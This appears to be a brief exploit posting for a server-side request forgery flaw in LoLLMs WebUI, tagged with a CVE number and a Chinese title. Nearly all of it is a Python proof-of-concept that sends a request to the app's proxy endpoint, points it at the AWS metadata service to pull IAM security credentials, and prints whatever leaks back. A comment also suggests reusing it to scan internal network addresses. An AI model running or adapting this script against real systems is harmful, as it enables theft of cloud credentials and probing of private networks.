CVE-2026-33340 LoLLMs WEBUI SSRF漏洞

import requests # Target URL of the vulnerable LoLLMs WEBUI instance target_url = "http://target-host:9600/api/proxy" # Malicious payload targeting AWS metadata (common SSRF target) # Attackers can change this to scan internal network ranges like http://192.168.1.1 payload = { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } try: # Send POST request to exploit the SSRF vulnerability response = requests.post(target_url, json=payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Leaked data from internal service:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")